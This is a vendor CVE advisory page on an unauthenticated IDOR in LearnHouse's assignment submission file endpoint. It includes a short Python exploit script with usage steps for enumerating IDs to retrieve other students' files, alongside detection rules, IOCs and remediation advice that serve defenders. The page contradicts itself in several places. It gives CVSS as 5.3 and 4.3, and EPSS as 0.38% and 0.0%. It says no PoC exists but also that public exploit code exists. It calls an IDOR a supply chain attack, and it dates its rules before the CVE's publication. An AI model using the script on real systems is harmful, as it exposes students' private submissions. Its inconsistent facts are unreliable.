☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-99
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12270

CVE-2025-12270 Supply Chain Attack in Learnhouse
📅 PUBLISHED: 2025-10-27 12:02 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.38%
👁️
0.38% probability
9.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12270 is a vulnerability in the LearnHouse platform, affecting versions up to commit 98dfad76aad70711a8113f6c1fdabfccf10509ca. The flaw resides in the Student Assignment Submission Handler, specifically in the /api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file endpoint. This endpoint suffers from improper control of resource identifiers (CWE-99), allowing an attacker to manipulate resource references to access or modify unauthorized assignment submissions. The attack is remotely exploitable with low complexity and no authentication required, leading to potential unauthorized data access. The vendor has not responded to disclosure, and no patch is available. Public exploit code exists, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

LearnHouse is a custom platform, not a standard package from NPM, PyPI, Go, or Ruby registries. However, its dependencies may introduce supply chain risks. The lack of vendor response and rolling release model means that any fix must be applied manually or through community forks. Organizations using LearnHouse should audit their deployment for this specific commit and consider isolating the affected API endpoint until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited unauthorized data access.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but public exploit availability and lack of patch elevate the risk for exposed instances.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (IDOR) in the assignment submission file retrieval endpoint. The API endpoint /api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file accepts user-supplied identifiers (assignment_id, task_id) without proper authorization checks. An attacker can enumerate or brute-force these identifiers to access submission files belonging to other students. The improper control of resource identifiers (CWE-99) allows the attacker to specify arbitrary resource IDs, bypassing intended access controls.

The attack flow:

  1. Identify a valid assignment_id and task_id (e.g., through public course listings or enumeration).
  2. Send a GET request to /api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file with manipulated IDs.
  3. The server returns the submission file without verifying that the requester is the owner or has permission.

This can lead to unauthorized disclosure of student submissions, potentially containing sensitive information or intellectual property.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/v1/assignments/<assignment_id>/tasks/<task_id>/sub_file')
def get_submission_file(assignment_id, task_id):
    # No authorization check
    file_path = get_file_path(assignment_id, task_id)
    return send_file(file_path)

Patched Code (Conceptual):

@app.route('/api/v1/assignments/<assignment_id>/tasks/<task_id>/sub_file')
@login_required
def get_submission_file(assignment_id, task_id):
    # Verify user is enrolled in the assignment
    if not is_user_enrolled(current_user.id, assignment_id):
        abort(403)
    # Verify user owns the submission or is an instructor
    if not is_submission_owner(current_user.id, task_id) and not is_instructor(current_user.id, assignment_id):
        abort(403)
    file_path = get_file_path(assignment_id, task_id)
    return send_file(file_path)

The patch adds authentication and authorization checks to ensure only authorized users can access submission files.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-learnhouse-instance.com"
assignment_id = "1"  # Enumerate valid IDs
task_id = "1"        # Enumerate valid IDs

url = f"{target}/api/v1/assignments/{assignment_id}/tasks/{task_id}/sub_file"
response = requests.get(url)

if response.status_code == 200:
    print("Success! Retrieved file:")
    print(response.text)
else:
    print(f"Failed with status {response.status_code}")

Usage:

  1. Replace target with the actual LearnHouse instance URL.
  2. Enumerate assignment_id and task_id values (e.g., sequential integers).
  3. Run the script to retrieve unauthorized submission files.

Lab Setup:

  • Deploy a vulnerable LearnHouse instance using the affected commit.
  • Create multiple student accounts with submissions.
  • Use the exploit script to access submissions from other students.

Blue Team

Detection:

  • Monitor API logs for repeated requests to /api/v1/assignments/*/tasks/*/sub_file with varying IDs from the same IP.
  • Alert on 200 responses to this endpoint from unauthenticated users.
  • Implement rate limiting on the endpoint.

Hunting:

  • Search for logs containing sub_file and analyze the assignment_id and task_id patterns.
  • Correlate with authentication logs to identify unauthorized access.

Indicators of Compromise (IOCs)

  • Network: HTTP GET requests to /api/v1/assignments/[0-9]+/tasks/[0-9]+/sub_file from unauthenticated sources.
  • File: Unauthorized access to submission files (e.g., PDFs, DOCX) in the server's upload directory.
  • Log: Repeated 200 responses to the vulnerable endpoint without prior authentication.
  • Behavior: Enumeration patterns in assignment_id and task_id parameters (e.g., sequential numbers).

Detection Engineering

YARA Rule

rule Detect_LearnHouse_IDOR_Exploit {
    meta:
        description = "Detects HTTP requests targeting the vulnerable LearnHouse sub_file endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12270"
    strings:
        $endpoint = "/api/v1/assignments/"
        $subfile = "/sub_file"
    condition:
        $endpoint and $subfile
}

Sigma Rule

title: LearnHouse IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-12270 by accessing the sub_file endpoint without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/api/v1/assignments/'
        cs-uri-stem|contains: '/sub_file'
    condition: selection
falsepositives:
    - Legitimate student access (requires authentication)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12270 LearnHouse IDOR Exploit"; flow:to_server,established; content:"GET"; http_method; content:"/api/v1/assignments/"; http_uri; content:"/sub_file"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the endpoint: Block external access to /api/v1/assignments/*/tasks/*/sub_file using a WAF or reverse proxy.
  2. Implement authentication: Require valid session tokens for all API requests.
  3. Apply authorization: Verify user ownership or instructor role before serving files.

Long-term Fix:

  • Apply the conceptual patch shown in the "Vulnerable vs. Patched Code" section.
  • Monitor the LearnHouse repository for official patches or community forks.
  • Consider migrating to a supported platform if the vendor remains unresponsive.

Workaround:

  • Disable the submission file endpoint entirely if not critical.
  • Use network segmentation to limit access to the LearnHouse instance.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12270/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.